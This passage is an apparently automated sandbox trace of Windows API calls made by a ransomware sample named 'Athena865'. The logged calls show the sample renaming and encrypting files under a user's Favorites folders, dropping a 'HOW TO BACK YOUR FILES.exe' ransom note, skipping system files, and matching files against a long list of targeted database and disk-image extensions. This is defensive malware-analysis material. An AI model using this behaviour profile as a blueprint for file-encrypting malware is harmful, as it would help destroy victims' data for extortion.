HALPmcxz\\Favorites\\Links\\Suggested Sites.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.731] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=236) returned 1 [0101.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.731] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.732] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.732] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.732] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x17c [0101.734] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0101.735] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.735] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.735] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.736] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.736] CloseHandle (hObject=0x17c) returned 1 [0101.736] CloseHandle (hObject=0x154) returned 1 [0101.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.737] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="..") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="windows") returned -1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="bootmgr") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="temp") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="pagefile.sys") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="boot") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="ids.txt") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="ntuser.dat") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="perflogs") returned 1 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="MSBuild") returned 1 [0101.737] lstrlenW (lpString="Web Slice Gallery.url") returned 21 [0101.737] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Web Slice Gallery.url" | out: lpString1="Web Slice Gallery.url") returned="Web Slice Gallery.url" [0101.737] lstrlenW (lpString="Web Slice Gallery.url") returned 21 [0101.737] lstrlenW (lpString="Athena865") returned 9 [0101.737] lstrcmpiW (lpString1="llery.url", lpString2="Athena865") returned 1 [0101.737] lstrlenW (lpString=".dll") returned 4 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".dll") returned 1 [0101.737] lstrlenW (lpString=".lnk") returned 4 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".lnk") returned 1 [0101.737] lstrlenW (lpString=".ini") returned 4 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".ini") returned 1 [0101.737] lstrlenW (lpString=".sys") returned 4 [0101.737] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".sys") returned 1 [0101.737] lstrlenW (lpString="Web Slice Gallery.url") returned 21 [0101.738] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.Athena865") returned 94 [0101.738] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.athena865"), dwFlags=0x1) returned 1 [0101.738] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.739] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=226) returned 1 [0101.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.739] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.740] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.740] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.740] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x17c [0101.743] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0101.744] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.745] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.745] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.746] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.746] CloseHandle (hObject=0x17c) returned 1 [0101.746] CloseHandle (hObject=0x154) returned 1 [0101.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.746] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0101.746] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.746] ReleaseMutex (hMutex=0xec) returned 1 [0101.746] CloseHandle (hObject=0xec) returned 1 [0101.746] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0101.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0101.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c488 | out: hHeap=0x4f0000) returned 1 [0101.747] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned 75 [0101.747] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F97C945ED9351E28CF97191AAE77A027") returned 0xec [0101.747] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.747] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0101.747] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.747] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.747] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.747] GetLastError () returned 0x0 [0101.748] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.748] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.748] CloseHandle (hObject=0xf4) returned 1 [0101.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.748] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.749] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f45740, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f45740, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.749] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.749] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.749] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.749] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f45740, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f45740, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.749] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.749] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.749] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.749] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.749] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f45740, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5f45740, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.749] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.749] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".") returned 1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="..") returned 1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="windows") returned -1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="bootmgr") returned 1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="temp") returned -1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="pagefile.sys") returned -1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="boot") returned 1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="ids.txt") returned 1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="ntuser.dat") returned -1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="perflogs") returned -1 [0101.749] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="MSBuild") returned -1 [0101.749] lstrlenW (lpString="IE Add-on site.url") returned 18 [0101.749] lstrcpyW (in: lpString1=0x241e8e0, lpString2="IE Add-on site.url" | out: lpString1="IE Add-on site.url") returned="IE Add-on site.url" [0101.750] lstrlenW (lpString="IE Add-on site.url") returned 18 [0101.750] lstrlenW (lpString="Athena865") returned 9 [0101.750] lstrcmpiW (lpString1=" site.url", lpString2="Athena865") returned -1 [0101.750] lstrlenW (lpString=".dll") returned 4 [0101.750] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".dll") returned 1 [0101.750] lstrlenW (lpString=".lnk") returned 4 [0101.750] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".lnk") returned 1 [0101.750] lstrlenW (lpString=".ini") returned 4 [0101.750] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".ini") returned 1 [0101.750] lstrlenW (lpString=".sys") returned 4 [0101.750] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".sys") returned 1 [0101.750] lstrlenW (lpString="IE Add-on site.url") returned 18 [0101.750] lstrlenW (lpString="bak") returned 3 [0101.750] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0101.750] lstrlenW (lpString="ba_") returned 3 [0101.750] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0101.750] lstrlenW (lpString="dbb") returned 3 [0101.750] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0101.750] lstrlenW (lpString="vmdk") returned 4 [0101.750] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0101.750] lstrlenW (lpString="rar") returned 3 [0101.750] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0101.750] lstrlenW (lpString="zip") returned 3 [0101.750] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0101.750] lstrlenW (lpString="tgz") returned 3 [0101.750] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0101.750] lstrlenW (lpString="vbox") returned 4 [0101.750] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0101.750] lstrlenW (lpString="vdi") returned 3 [0101.750] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0101.750] lstrlenW (lpString="vhd") returned 3 [0101.750] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0101.750] lstrlenW (lpString="vhdx") returned 4 [0101.751] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0101.751] lstrlenW (lpString="avhd") returned 4 [0101.751] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0101.751] lstrlenW (lpString="db") returned 2 [0101.751] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0101.751] lstrlenW (lpString="db2") returned 3 [0101.751] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0101.751] lstrlenW (lpString="db3") returned 3 [0101.751] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0101.751] lstrlenW (lpString="dbf") returned 3 [0101.751] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0101.751] lstrlenW (lpString="mdf") returned 3 [0101.751] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0101.751] lstrlenW (lpString="mdb") returned 3 [0101.751] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0101.751] lstrlenW (lpString="sql") returned 3 [0101.751] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0101.751] lstrlenW (lpString="sqlite") returned 6 [0101.751] lstrcmpiW (lpString1="te.url", lpString2="sqlite") returned 1 [0101.751] lstrlenW (lpString="sqlite3") returned 7 [0101.751] lstrcmpiW (lpString1="ite.url", lpString2="sqlite3") returned -1 [0101.751] lstrlenW (lpString="sqlitedb") returned 8 [0101.751] lstrcmpiW (lpString1="site.url", lpString2="sqlitedb") returned -1 [0101.751] lstrlenW (lpString="xml") returned 3 [0101.751] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0101.751] lstrlenW (lpString="$er") returned 3 [0101.751] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0101.751] lstrlenW (lpString="4dd") returned 3 [0101.751] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0101.751] lstrlenW (lpString="4dl") returned 3 [0101.751] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0101.751] lstrlenW (lpString="^^^") returned 3 [0101.752] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0101.752] lstrlenW (lpString="abs") returned 3 [0101.752] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0101.752] lstrlenW (lpString="abx") returned 3 [0101.752] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0101.752] lstrlenW (lpString="accdb") returned 5 [0101.752] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1 [0101.752] lstrlenW (lpString="accdc") returned 5 [0101.752] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1 [0101.752] lstrlenW (lpString="accde") returned 5 [0101.752] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1 [0101.752] lstrlenW (lpString="accdr") returned 5 [0101.752] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1 [0101.752] lstrlenW (lpString="accdt") returned 5 [0101.752] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1 [0101.752] lstrlenW (lpString="accdw") returned 5 [0101.752] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1 [0101.752] lstrlenW (lpString="accft") returned 5 [0101.752] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1 [0101.752] lstrlenW (lpString="adb") returned 3 [0101.752] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.752] lstrlenW (lpString="adb") returned 3 [0101.752] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.752] lstrlenW (lpString="ade") returned 3 [0101.752] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0101.752] lstrlenW (lpString="adf") returned 3 [0101.752] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0101.752] lstrlenW (lpString="adn") returned 3 [0101.752] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0101.752] lstrlenW (lpString="adp") returned 3 [0101.752] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0101.752] lstrlenW (lpString="alf") returned 3 [0101.752] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0101.753] lstrlenW (lpString="ask") returned 3 [0101.753] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0101.753] lstrlenW (lpString="btr") returned 3 [0101.753] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0101.753] lstrlenW (lpString="cat") returned 3 [0101.753] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0101.753] lstrlenW (lpString="cdb") returned 3 [0101.753] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0101.753] lstrlenW (lpString="ckp") returned 3 [0101.753] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0101.753] lstrlenW (lpString="cma") returned 3 [0101.753] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0101.753] lstrlenW (lpString="cpd") returned 3 [0101.753] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0101.753] lstrlenW (lpString="dacpac") returned 6 [0101.753] lstrcmpiW (lpString1="te.url", lpString2="dacpac") returned 1 [0101.753] lstrlenW (lpString="dad") returned 3 [0101.753] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0101.753] lstrlenW (lpString="dadiagrams") returned 10 [0101.753] lstrcmpiW (lpString1="n site.url", lpString2="dadiagrams") returned 1 [0101.753] lstrlenW (lpString="daschema") returned 8 [0101.753] lstrcmpiW (lpString1="site.url", lpString2="daschema") returned 1 [0101.753] lstrlenW (lpString="db-journal") returned 10 [0101.753] lstrcmpiW (lpString1="n site.url", lpString2="db-journal") returned 1 [0101.753] lstrlenW (lpString="db-shm") returned 6 [0101.753] lstrcmpiW (lpString1="te.url", lpString2="db-shm") returned 1 [0101.753] lstrlenW (lpString="db-wal") returned 6 [0101.753] lstrcmpiW (lpString1="te.url", lpString2="db-wal") returned 1 [0101.753] lstrlenW (lpString="dbc") returned 3 [0101.753] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0101.753] lstrlenW (lpString="dbs") returned 3 [0101.753] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0101.753] lstrlenW (lpString="dbt") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0101.754] lstrlenW (lpString="dbv") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0101.754] lstrlenW (lpString="dbx") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0101.754] lstrlenW (lpString="dcb") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0101.754] lstrlenW (lpString="dct") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="dct") returned 1 [0101.754] lstrlenW (lpString="dcx") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1 [0101.754] lstrlenW (lpString="ddl") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1 [0101.754] lstrlenW (lpString="dlis") returned 4 [0101.754] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1 [0101.754] lstrlenW (lpString="dp1") returned 3 